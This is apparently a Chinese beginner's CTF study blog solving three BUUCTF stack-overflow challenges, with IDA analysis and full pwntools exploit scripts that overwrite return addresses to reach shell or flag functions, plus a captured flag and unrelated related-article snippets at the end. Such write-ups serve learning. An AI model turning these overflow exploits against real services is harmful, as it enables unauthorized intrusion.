每日3道PWN(第二天)

news2024/11/26 2:46:52

ciscn_2019_n_1

参考:

[BUUCTF-pwn]——ciscn_2019_n_1-CSDN博客

[BUUCTF]PWN5——ciscn_2019_n_1_ciscn_2019_n_4-CSDN博客

BUUCTF—ciscn_2019_n_1 1-CSDN博客

checksec一下

64位+栈溢出

按f5查看main函数,双击可疑函数

发现含有命令执行的且发现flag

重点来了

v1的偏移量是0x30=48(十进制),但是v1是44

然后你看v2是0x4=4,刚好44+4=48=0x30。这说明什么,v1和v2的结构是这样的

rbp这里也包含着rsp(rsp是啥?搜搜)

在函数返回时,rsp会被用于释放这些空间。

解题思路1:

这道题的意思是输入字符串v1,判断v2。使字符串v1长度溢出后覆盖到存储v2的内存空间(为什么能覆盖,我前面画图说过了,正常情况下,那叫溢出吧),把v2的值改掉,让v2等于11.28125(注意,首先我们要找到11.28125的16进制表达形式,因为我们构造payload的时不能传入一个float类型)。

11.28125的16进制在题目中可以找到。

像这种题,额滴pwn神说一般都能在题目中找到,所以各位就自己偷偷学一下怎么转换吧

tip:ucomiss是比较的意思

  • ucomiss: 无符号比较两个单精度浮点数
  • jp: 条件跳转指令,如果奇偶标志位为1,则跳转
  • movss: 将单精度浮点值从一个位置复制到另一个位置
  • jnz: 条件跳转指令,如果不等于零则跳转
  • jmp: 无条件跳转指令

所以通过这个标识,可以找到11.28125的16进制数为0x41348000

构造exp(方法1——覆盖)

from pwn import *
# ciscn_2019_n_1
nc=remote("node4.buuoj.cn",29189)
# 第一种写法
# payload = 'a' * (0x30-0x4) + p64(0x41348000).decode("iso-8859-1")

# 第二种写法
payload = b'a' * (0x30-0x4)+p64(0x41348000)  
nc.sendline(payload)
nc.interactive()

解题思路2:

使字符串v1长度溢出后指向cat /flag的地址

原理就是填满v1(v1包括v2)和rbp,也就是0x30+0x8。

然后令ret指向cat /flag的地址。

现在我们去找地址,地址要找灰色的这个,他对应的就是0x4006BE

构造exp(方法2——溢出)

from pwn import *
# ciscn_2019_n_1
nc=remote("node4.buuoj.cn",29189)
# 第一种写法
payload = 'a' * (0x30+0x8) + p64(0x4006BE).decode("iso-8859-1")

# 第二种写法
# payload = b'a' * (0x30+0x8)+p64(0x4006BE)     #输入payload来进行操作以拿到程序的shell,0x40+8=0x48
# # 其中 b是bytes的缩写,是bytes类型,p64是打包函数,把地址转换为b类型的二进制形式

nc.sendline(payload)
nc.interactive()

其他博主给的补充(不知道有啥用,也给你们放这里了)

变量类型存储大小
db一字节
dw两字节
dd四字节
df六字节
dq八字节

问:其实这里还有一个问题,他为什么最后的返回地址能直接指向if判断之后里面的cat /flag,我就感觉很神奇,可能是我没学汇编的原因吧,有汇编的大佬给我说说嘛

看视频了解了一点,栈就是一堆一堆的,叠高高,就和汉堡一样,摞起来的,数据就这样摞起来,然后为了标识你的每行代码,就有地址这个东西,因为是平行着摞起来的,不存在包含关系,所以可以根据地址随意取用。我现在是怎么理解的。

小总结:

1.学会了栈溢出和覆盖(覆盖需要特殊情况才去使用)

2.理解了偏移量的大概,感觉新手够用,慢慢研究吧,嘿嘿

3.esp是栈底,ebpsh


pwn1_sctf_2016

参考:

[BUUCTF]PWN4——pwn1_sctf_2016-CSDN博客

从题海中入门(五)pwn1_sctf_2016 - FreeBuf网络安全行业门户

(buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016 - J1ay - 博客园 (cnblogs.com)

checksec

无意间看见这个PIE: No PIE (0x8048000) 中的0x8048000

有点好奇,搜了一下

No PIE" 表示该可执行文件没有启用PIE,因此加载基地址被设置为 0x8048000。这个地址将是程序在内存中的起始地址。

分析32位+栈溢出。第一次见32位的,得好好看看

发现用64位和32位都能打开,然后我搜了一下

使用64位IDA打开32位程序可能有一些潜在的缺点或限制,包括以下几点:

  1. 指令集和寄存器:64位IDA默认使用x86-64指令集和64位寄存器,而32位程序使用x86指令集和32位寄存器。这意味着在64位IDA中查看和分析32位程序时,寄存器和指令集的显示可能不够直观或准确。

  2. 内存寻址:32位程序使用32位地址空间,而64位IDA默认使用64位地址空间。这可能导致在64位IDA中分析32位程序时,内存地址显示可能会出现截断或混淆,使得分析过程变得更复杂

  3. 调用约定:32位程序和64位程序使用不同的调用约定,例如参数传递方式和栈的使用规则。64位IDA默认使用x64调用约定,这可能导致在分析32位程序时,函数参数的传递和栈的使用可能被错误地解析或显示。

  4. 插件和脚本兼容性:某些插件和脚本可能是针对特定的架构编写的,如果使用64位IDA打开32位程序,可能会出现插件或脚本不兼容的情况,导致功能不正常或无法使用。

按f5,然后进入vuln这个函数

这次的代码很。。。不友好,c语言学的不精,只学了一个基础,只能求助于ai和其他博主了

int vuln()
{
  const char *v0; // eax
  char s; // [esp+1Ch] [ebp-3Ch]
  char v3; // [esp+3Ch] [ebp-1Ch]
  char v4; // [esp+40h] [ebp-18h]
  char v5; // [esp+47h] [ebp-11h]
  char v6; // [esp+48h] [ebp-10h]
  char v7; // [esp+4Fh] [ebp-9h]

  printf("Tell me something about yourself: ");

读取s变量3,给予32(相当于0x20)大小的缓存空间,但是注意s的真实大小是0x3c
  fgets(&s, 32, edata);                     

  std::string::operator=(&input, &s); 把s作为输入字符串赋值给std::string对象input

用于创建一个std::allocator对象并将其初始化为v5的地址
  std::allocator<char>::allocator(&v5);

用于创建一个std::string对象并将其初始化为v4的地址,"you" 被赋值给了 std::string 对象 v4
  std::string::string(&v4, "you", &v5);

那v5被干了什么,就创建一下,就没了?

ai回答:v5 并不是简单地“创建一下就没了”,而是在 std::string 对象的生命周期中起到了内存分配的作用。


  std::allocator<char>::allocator(&v7);
  std::string::string(&v6, "I", &v7);


  replace((std::string *)&v3); // 在input中查找 "you" 并替换成 "I"
  std::string::operator=(&input, &v3, &v6, &v4);// 把处理后的字符串赋值给input

// 销毁中间字符串对象
  std::string::~string((std::string *)&v3);
  std::string::~string((std::string *)&v6);
  std::allocator<char>::~allocator(&v7);
  std::string::~string((std::string *)&v4);
  std::allocator<char>::~allocator(&v5);

// 获取处理后的字符串的C字符串表示,并拷贝到s中,可能存在缓冲区溢出
  v0 = (const char *)std::string::c_str((std::string *)&input);
  strcpy(&s, v0); 把处理好的v0赋值给s


  return printf("So, %s\n", &s);

总体来说,溢出点就是s,但是s的大小就是0x20,要想溢出到0x30是不可能的,会报错,就不可能到溢出那一步。也就是我们填满s,也不能溢出。

但是代码后面的大概意思就是,如果s变量里面有i,就把i变成you,这样,就可以溢出了!

32个I的大小相当于32*3=96=0x60。那就说明不能直接用32,我们算算哈,设应该用x个I

60-x*3=0——>x=20

代码很复杂,跟其他博主学习的动态调试,研究一下

动态调试。今天贪玩了,明天早上补上

shift+f12,发现漏洞利用点

漏洞在get_flag函数里

最后地址位0x8048F13,但是其他博主用的0x8048f0d,我试了,都一样

构造exp

为什么要加4个a呢,a这个字符肯定无所谓,不用I就行,用I就崩

因为32位的ebp需要0x4个大小来覆盖,覆盖这个之后才能继续覆盖我们想要的地址,这是汇编的一些知识。

from pwn import *
# pwn1_sctf_2016
nc=remote("node4.buuoj.cn",28376)
# 第一种写法
# payload = 'I' * 0x14 +'a'* 0x4+ p32(0x8048F13).decode("iso-8859-1")
# 第二种写法
payload = b'I' * 20 + b'a' * 4 + p32(0x8048f0d)
nc.sendline(payload)
nc.interactive()


jarvisoj_level0

不分析了,不出意外就是栈溢出(戴墨镜)

f5进入

write(1, "Hello, World\n", 0xDuLL);

  • write 是一个系统调用函数,用于向文件描述符写入数据。第一个参数 1 表示要写入的文件描述符为标准输出设备,第二个参数 "Hello, World\n" 是要写入的数据,第三个参数 0xDuLL 表示要写入的数据长度。
  • "Hello, World\n" 是一个以空字符 '\0' 结尾的字符串常量,长度为 13(包括末尾的换行符)。
  • 0xDuLL 是一个十六进制数,表示十进制数 13 的无符号长整型值。由于要打印的字符串长度为 13,因此使用这个值来指定要写入的数据长度。

点击进入vulnerable_function

不说了,漏洞点——read溢出,以前都是get溢出。(其实我也刚知道这个漏洞点,哈哈哈哈哈)

变量buf大小0x80

return read(0, &buf, 0x200uLL);

来研究一下read函数

  • read 是一个系统调用函数,用于从文件描述符中读取数据。第一个参数 0 表示要读取的文件描述符为标准输入设备,第二个参数 &buf 是一个指向缓冲区的指针,第三个参数 0x200uLL 表示要读取的最大字节数。
  • &buf 是指向 buf 变量的指针,即缓冲区的地址。read 函数将从标准输入设备读取的数据存储到这个缓冲区中。
  • 0x200uLL 是一个十六进制数,表示十进制数 512 的无符号长长整型值。由于指定了最大读取字节数为 512,因此使用这个值来限制读取的数据长度。

也就是正常按get方法溢出就行

找一下能获得flag的位置,shift+f12发现/bin/sh,双击跟进

双击跟进callsystem函数

可以按空格变成我这样

地址位0x40059A

构造exp

from pwn import *
# jarvisoj_level0
nc=remote("node4.buuoj.cn",27806)
# 第一种写法
# payload = 'a' * (0x80+0x8) + p64(0x40059A).decode("iso-8859-1")
# 第二种写法
payload = b'a' * (0x80+0x8)+p64(0x40059A)
nc.sendline(payload)
nc.interactive()

注意这一题是shell环境,别傻傻的等flag,输入ls;cat fla*

ls;cat flag   输入命令!!
bin
boot
dev
etc
flag
flag.txt
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
flag{c63e8700-78a9-47d9-9fbd-2beec11989eb}

我今天还看了一些b站,简单给自己总结一下

XMCVE 2020 CTF Pwn入门课程_哔哩哔哩_bilibili

总结不全,明天补充

今天学习了前两个视频,第二个视频看了一半

了解了c语言需要经过以下三个过程,才能让机器按指令运行。机器智能听得懂机器码,所以要汇编。

那问题就来了,编译有啥用,c语言这种高级语言,直接进行汇编,变成机器码不更快嘛

ai回答

虽然直接将C语言汇编为机器码可能会获得更高的性能,但编译过程中的汇编步骤可以提供更好的可移植性、开发效率、优化能力以及代码可读性与可维护性。因此,大多数情况下,我们使用C语言编译为汇编代码再生成机器码,以平衡性能和开发效率之间的权衡。

IDA的作用就是反汇编和反编译,反汇编就是查表,比如0x55就是push ebp,这样一一对应的关系。但是反编译好像就难了。

3.汇编指令mov、rbp

4.动态调试

5.栈的原理

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1287471.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

不愧是字节出来的,真的太厉害了。。。

前段时间公司缺人&#xff0c;也面了许多测试&#xff0c;一开始瞄准的就是中级水准&#xff0c;当然也没指望能来大牛&#xff0c;提供的薪资在15-20k这个范围&#xff0c;来面试的人有很多&#xff0c;但是平均水平真的让人很失望。看了简历很多上面都是写有4年工作经验&…

反三角函数基本性质和函数图形

文章目录 反三角函数反三角函数图形利用反函数的性质绘制反三角图形反三角函数的定义域&值域反三角函数的恒等式推导 反三角函数 反三角函数 (wikipedia.org) 反三角函数图形 sin ⁡ ( x ) , arcsin ⁡ ( x ) \sin(x),\arcsin(x) sin(x),arcsin(x) cos ⁡ ( x ) , arccos …

2022年11月10日 Go生态洞察:十三年的Go之旅

&#x1f337;&#x1f341; 博主猫头虎&#xff08;&#x1f405;&#x1f43e;&#xff09;带您 Go to New World✨&#x1f341; &#x1f984; 博客首页——&#x1f405;&#x1f43e;猫头虎的博客&#x1f390; &#x1f433; 《面试题大全专栏》 &#x1f995; 文章图文…

11、信息打点——红队工具篇FofaQuakeSuize水泽Arl灯塔

网络空间测绘引擎 Fofa Quake shodan Zoomeye 主要搜关联资产、特征资产、资产信息&#xff08;在测绘引擎上直接搜IP&#xff0c;它会显示所有与该域名有关的信息。&#xff09; fofa和Quake测绘引擎集成化工具&#xff1a;Finger 自动化信息收集项目 ARL灯塔 Suize水泽 …

微信如何批量发送朋友圈?

批量发送朋友圈 发朋友圈 支持发送图片或者图文&#xff0c;可选择多个在线微信一起发&#xff0c;可立即发送&#xff0c;也可定时发送&#xff1b; 1、点击【发朋友圈】&#xff0c;选择要发圈的微信号和朋友圈类型&#xff08;立即/定时&#xff09;&#xff0c;编辑设置好…

python精细讲解,从代码出发,适合新手宝宝食用的python入门教学【持续更新中】

文章目录 1、输入输出1.1 输入语句1.2 输出语句 2、List列表操作2.1 取值取单个元素&#xff1a;[]取出现的第一个元素&#xff1a;index 2.2 添加操作追加&#xff1a;append插入&#xff1a;insert 2.3 删除操作removepopdelclear清空 copy复制操作列表相关的数学操作数数&am…

类和对象——(7)this指针

归纳编程学习的感悟&#xff0c; 记录奋斗路上的点滴&#xff0c; 希望能帮到一样刻苦的你&#xff01; 如有不足欢迎指正&#xff01; 共同学习交流&#xff01; &#x1f30e;欢迎各位→点赞 &#x1f44d; 收藏⭐ 留言​&#x1f4dd; 人生就像骑单车&#xff0c;想保持平衡…

vmware ubuntu22 安装vmtools并设置共享文件夹

我是你爹&#xff0c;再不会就紫砂。 权限不够或没读写权限自己改下就行。 1. 主机下新建文件夹&#xff0c;并如下图设置成共享 2. 把上面文件夹路径添加到共享文件夹里面 3. 开启ubuntu&#xff0c;在登陆界面显示之前我们会看到下图的重新安装vmware tools由灰变黑&#x…

C语言--每日选择题--Day36

第一题 1. 以下关于指针的说法,正确的是() A&#xff1a;int *const p 与 int const *p等价 B&#xff1a;const int *p 与 int *const p等价 C&#xff1a;const int *p 与 int const *p 等价 D&#xff1a;int *p[10] 与 int (*p)[10] 等价 答案及解析 C const 在*的左侧&…

坚鹏:中国工商银行内蒙古分行数字化转型发展现状与成功案例培训

中国工商银行围绕“数字生态、数字资产、数字技术、数字基建、数字基因”五维布局&#xff0c;深入推进数字化转型&#xff0c;加快形成体系化、生态化实施路径&#xff0c;促进科技与业务加速融合&#xff0c;以“数字工行”建设推动“GBC”&#xff08;政务、企业、个人&…

人工智能学习6(贝叶斯实现简单的评论情感分析)

编译工具PyCharm 文章目录 编译工具PyCharm 文本分析与表示实现方式&#xff1a;文本表示方法文本相似度计算LDA主题模型 朴素贝叶斯算法应用&#xff1a;评论情感分析&#xff0c;工具评论分析是好评还是差评获取数据加载停用词内容标准化&#xff08;将每一句话划分成一个个的…

语义分割网络-FCN全卷积网络

全卷积神经网络FCN整体概述 FCN是首个端对端针对像素级预测的全卷积网络。FCN会用到分类网络作为backbone FCN的网络结构类比分类网络 分类网络经过卷积操作后&#xff0c;接全连接层&#xff0c;最后一个全连接层输出长度与分类类别数量相同&#xff0c;最后经过softmax得到术…

【机器视觉技术栈】03 - 镜头

镜头 定焦镜头变焦镜头远心镜头 FA镜头与远心镜头的区别&#xff1f; 焦距越小畸变程度越大&#xff0c;精度要求不高的场景可以使用焦距大的FA镜头做尺寸测量&#xff0c;但焦距越大带来的问题就是整个机械设备越大。精度高的场景使用远心镜头进行尺寸测量。 光学基础知识…

flex 布局防止元素被挤换行

刚开始是这样的代码&#xff1a; <div class"flex"><span>选择模型&#xff1a;</span><n-select :options"state.chatModelOptions" /> </div>选择模型换行了…不行&#xff0c;这个效果不行&#xff0c;修改后&#xff1…

深度学习——第3章 Python程序设计语言(3.4 Python自定义函数)

3.4 Python自定义函数 目录 1. 函数基础知识 2. 函数的定义&#xff08;声明&#xff09;和调用 3. 函数参数传递 4. 函数的返回值 5. lambda函数 随着学习的日渐深入&#xff0c;编写的代码将会越来越复杂&#xff0c;所以我们需要找一种方法对这些复杂的代码进行分解、重…

Superset基础入门

1 Superset概述 Apache Superset 是一个现代的数据探索和可视化平台。它功能强大且十分易用&#xff0c;可对接 各种数据源&#xff0c;包括很多现代的大数据分析引擎&#xff0c;拥有丰富的图表展示形式&#xff0c;并且支持自定义 仪表盘。 2 Superset安装 Superset 是由 P…

Hadoop学习笔记(HDP)-Part.12 安装HDFS

目录 Part.01 关于HDP Part.02 核心组件原理 Part.03 资源规划 Part.04 基础环境配置 Part.05 Yum源配置 Part.06 安装OracleJDK Part.07 安装MySQL Part.08 部署Ambari集群 Part.09 安装OpenLDAP Part.10 创建集群 Part.11 安装Kerberos Part.12 安装HDFS Part.13 安装Ranger …

springboot监听器模式源码精讲

1.前言 很多时候我们看源码的时候看不下去&#xff0c;其中一个原因是系统往往使用了许多设计模式&#xff0c;如果你不清楚这些设计模式&#xff0c;这无疑增加了你阅读源码的难度。 springboot中就大量使用了设计模式&#xff0c;本文主要介绍其中的一种监听器模式&#xf…

mybatis 的快速入门以及基于spring boot整合mybatis

MyBatis基础 MyBatis是一款非常优秀的持久层框架&#xff0c;用于简化JDBC的开发 准备工作&#xff1a; 1&#xff0c;创建sprong boot工程&#xff0c;引入mybatis相关依赖2&#xff0c;准备数据库表User&#xff0c;实体类User3&#xff0c; 配置MyBatis&#xff08;在applic…

流媒体方案之FFmpeg——实现物联网视频监控项目

目录 前言 一、FFmpeg介绍 二、FFmpeg简易理解 三、FFmpeg的重要概念 四、软硬件准备 五、移植、运行FFmpeg 六、运行FFmpeg 前言 最近想做一个安防相关的项目&#xff0c;所以跟着韦东山老师的视频来学习视频监控方案的相关知识&#xff0c;韦东山老师讲的课非常好&…